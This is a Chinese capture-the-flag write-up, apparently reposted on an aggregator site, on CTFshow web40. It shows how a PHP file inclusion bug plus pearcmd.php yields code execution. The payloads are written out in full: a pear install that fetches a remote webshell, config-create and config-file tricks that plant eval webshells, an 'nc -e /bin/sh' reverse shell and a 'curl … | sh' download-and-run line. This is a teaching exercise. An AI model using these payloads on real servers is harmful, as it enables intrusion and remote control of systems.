pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

2023-11-08

web40

image-20230707115157331

考点:pear文件包含

pear是PHP的一个扩展

条件:

1 有文件包含点
2 开启了pear扩展   (可以当他是一个框架)
3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER[‘argv’]生效)
4 找到pear文件的位置,默认位置是/usr/local/lib/php/ 

查看phpinfo,满足条件

image-20230707120101623

PEAR扩展
全称:PHP Extension and Application Repository
PEAR扩展默认安装位置是: /usr/local/lib/php/

argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看
argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb。argc是数组的长度。
php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。

利用Pear扩展进行文件包含

方法一:远程文件下载(下载远程木马到本地)

?file=/usr/local/lib/php/pearcmd.php&lalala+install±R+/var/www/html/+http://vps-ip/shell.php

lalala:随便输,第一个参数没用,第二个有用
install:安装远程扩展
-R:指定安装到的目录
/var/www/html/:目录
http://vps-ip/shell.txt:从哪下载

shell.php包含:<?php eval($_POST[1]);?>

从返回信息中截取/var/www/html/后的地址,比如/var/www/html/tmp/paer/download/shell.php就截取tmp/paer/download/shell.php

payload:

?file=/usr/local/lib/php/pearcmd.php&lalala+install+-R+/var/www/html/+http://120.46.41.173/shell.php     

访问URL/tmp/paer/download/shell.php,POST 1=什么什么 进行RCE

image-20230707115521214

进入/tmp/paer/download/shell.php地址,POST进行RCE。

image-20230707120819238

网上另外一种包含远程文件办法:

https://blog.csdn.net/Mrs_H/article/details/122386511

payload如下(源自W4师傅)

?+install±-installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在

&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。

但是,除此之外install命令还有另外一种利用的姿势,payload如下:

file=/usr/local/lib/php/pearcmd.php&+install±R+/tmp+http://192.168.1.9/index.php

重开环境

方法二:生成配置文件,配置项传入我们恶意的php代码的形式

配置文件中,配置项一般都是a=b形式,比如username=root
如果配置项包含恶意代码比如:man_dir=<?php eval($_POST[1]);?>
假设包含恶意代码配置文件名字叫xxx.php,如果我们能包含配置文件,那我们就能执行恶意代码了。

GET ?file=/usr/local/lib/php/pearcmd.php&±c+/tmp/ctf.php±d+man_dir=<?php%20eval($_POST[1]);?>±s+

-c:创建一个配置文件
/tmp/ctf.php:放配置文件的临时目录
-d:增加配置项
man_dir=<?eval($_POST[1]);?>:配置项
-s:保存

hackbar会自动编码,我们用burp发包。

image-20230707121136333

然后包含/tmp/ctf.php就行了。

(复现不出来,不知道哪里出问题了)

方法三:写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+x.php
(最后有一个空格)

vps监听端口 nc -lvvnp 9023

image-20230707123609220

burp发包

image-20230707123622279

访问url/x.php

POST 1=sleep 3 判断shell是否能执行

image-20230707123717198

POST 1=nc vps-ip port -e /bin/sh

如果服务端没nc命令,就用平台来反弹

POST 1=curl https://your-shell.com/vps-ip:port | sh

image-20230707123859607

image-20230707123851464

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40 的相关文章

  • Scala 正则表达式

    Scala 正则表达式 Scala 通过 scala util matching 包中的 Regex 类来支持正则表达式 以下实例演示了使用正则表达式查找单词 Scala import scala util matching Regex o
  • chatglm docker镜像,一键部署chatglm本地知识库

    好久没有写文章了 今天有空 记录一下chatglm本地知识库的docker镜像制作过程 核心程序是基于 闻达 开源项目 稍作改动 镜像可以直接启动运行 大家感兴趣可以进入镜像内部查看 代码位于 app 目录下 一 制作镜像 docker t
  • ISTQB认证工程师学习笔记(5)——测试管理

    测试管理的学习目标 测试组织 测试计划和估算 测试监督与控制 配置管理 风险和测试 缺陷管理 测试组织 独立测试 测试任务可以由具体指定的测试人员完成 也可以由其他角色人员完成 比如客户 由于作者和测试员的认知取向不同 一定程度的独立性可以

随机推荐

  • SpringCloud Alibaba Nacos作为配置中心不生效问题

    在使用Springcloud Alibaba 的Nacos作为配置中心时 遇到了在配置中心中提交相关配置后但配置还是从本地获取 没有从nacos中获取的情况 可能是如下原因导致 1 需要自行新建bootstrap properties并配置
  • 人工稚能之sklearn分类

    分类算法和聚类比较类似 都是将输入数据赋予一个标签类别 区别是分类算法的分类是预先确定的 有明确含义的 而聚类的标签是从输入数据本身的分布中提取出来的一种抽象的类别 聚类是无监督算法 而分类是有监督的 除了输入数据x外 还有标签y 分类算法
  • WSL 更新NVIDIA 驱动 安装CUDA

    WSL 一定要使用WSL2 我选择的linux系统是ubuntu22 04 在微软应用商店安装的 安装完成之后可以通过 wsl l v查看 NVIDIA 驱动 WSL 中不要直接安装linux版的显卡驱动 而是需要在windows中安装驱动
  • 动态知识图补全问题

    4 19 4 23 动态信息 1 Dual Quaternion Knowledge Graph Embeddings 本文应该是静态方法 距离公式和旋转公式的一个统一框架 提出一个新的映射空间 Dual Quaternion space
  • 民数记研读1——于宏洁

    民数记研读 于宏洁 1 西乃山下 一 第一次数点百姓 二 各支派安营 三 前行 四 银号 2 几种重要的人 一 利未人 二 拿细耳人的条例 三 首领 3 管与教 一 从荣耀角度来看神的管教 二 在神的管教中 要注意的几个点 三 民数记中十次
  • Apple 的 plist 编辑器入门指南:基础操作与高级功能详解

    PlistEdit Pro是一款专为macOS编写的最高级属性列表Plist编辑器 对于Mac和IOS开发人员来说 编写应用程序时必须编辑各种列表文件 PlistEdit Pro通过提供直观且功能强大的界面 使编辑这些文件更加容易 它不仅能
  • 深度学习机器学习目标检测

    一 目标检测 1 深度学习开发流程 2 应用案例 3 目标检测算法基本流程 二 机器学习 1 机器学习算法能解决那些问题 分类问题 图像识别 垃圾邮件识别 回归问题 各种预测 房价 天气 股价等等 排序问题 推荐 点击率排序 生成问题 图像
  • 完全卸载Android Studio(卸载得干干净净)

    步骤其实很简单 一共三步 但是每一步都需要完成 步骤如下 打开控制面板或腾讯软件管家等执行常规的卸载操作 找到SDK的安装目录手动删除SDK 进入 C Users lt 你的用户名下 gt 目录下 手动删除 android AndroidS
  • github 创建分支,本地代码上传github 服务器上

    git分布式版本控制系统 我第一个接触的版本控制系统是svn 当时觉得版本控制就是这样 直到我遇到了git git是分布式版本控制系统 合适分布式开发 强调个体 速度快 灵活 代码冲突了也比较好解决 最让我喜欢的还是git的分支切换 在gi
  • Python学习.第五天.列表

    Python学习 第五天 列表 前言 一 列表的创建与删除 二 列表的查询操作 1 index 如果查询时列表中存在n个相同元素 只返回元素中的第一个元素的索引 2 获取列表中的单个元素 3 获取列表中的多个元素 4 判断指定元素在列表中是
  • 目标检测之EfficientNet

    本文参考以下链接 如有侵权 联系删除 参考链接 论文 EfficientNet Rethinking Model Scaling for Convolutional Neural Networks EfficientNet Rethinki
  • 获取assert目录下文件名及读取

    从assert文件下获取文件名字 String fl1 getAssets list 第一层 得到数据 images hello txt String fl1 getAssets list 第一层 第二层 得到数据 helloworld t
  • IDEA+MAVEN 打jar包

    目录 一 分类 二 胖包 三 瘦包 一 分类 jar包是分为胖包和瘦包 何为胖包 何为瘦包 首先胖包指的是带依赖的jar包 瘦包就是没有依赖的jar包 二 胖包 1 在pom xml添加如下Maven插件
  • el-select 结合 el-checkBox 实现下拉全选+多选功能

    实现效果如图所示 具体代码如下
  • RabbitMQ重复消费

    造成重复消费的原因 MQ向消费者推送message 消费者向MQ返回ack 告知所推送的消息消费成功 但是由于网络波动等原因 可能造成消费者向MQ返回的ack丢失 MQ长时间 一分钟 收不到ack 于是会向消费者再次推送该条message
  • 每日一题(day1)

    题目链接 方法一 使用栈进行中序遍历 class Solution public int kthSmallest TreeNode root int k stack
  • 决策树算法处理分类及回归问题的原理及python代码实现

    1 决策树原理介绍 通俗的理解 决策树就是对样本集根据某一个维度d和某一个阈值v进行二分 得到二叉树 即为决策树 通过样本训练计算出维度d和阈值v 即可对预测数据进行分类 如果对二叉树的各子节点value值求平均 将平均值赋予待分类样本 即
  • 疯壳-鸿蒙OS单板应用程序开发

    鸿蒙OS单板应用程序开发 疯壳 出品 a 在源码根目录下新建一个testapp的文件夹 在终端输入 mkdir testapp 指令新建一个名为testapp 的文件夹如下 b 进入testapp文件夹 新建一个名为my first app
  • 一个用于拷贝文件并判断是否拷贝成功的批处理文件

    echo off chcp 65001 copy E opencv build x64 vc15 bin opencv videoio ffmpeg420 64 dll windir set err ERRORLEVEL IF err 1
  • pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40

    web40 考点 pear文件包含 pear是PHP的一个扩展 条件 1 有文件包含点 2 开启了pear扩展 可以当他是一个框架 3 配置文件中register argc argv 设置为On 而默认为Off SERVER argv 生效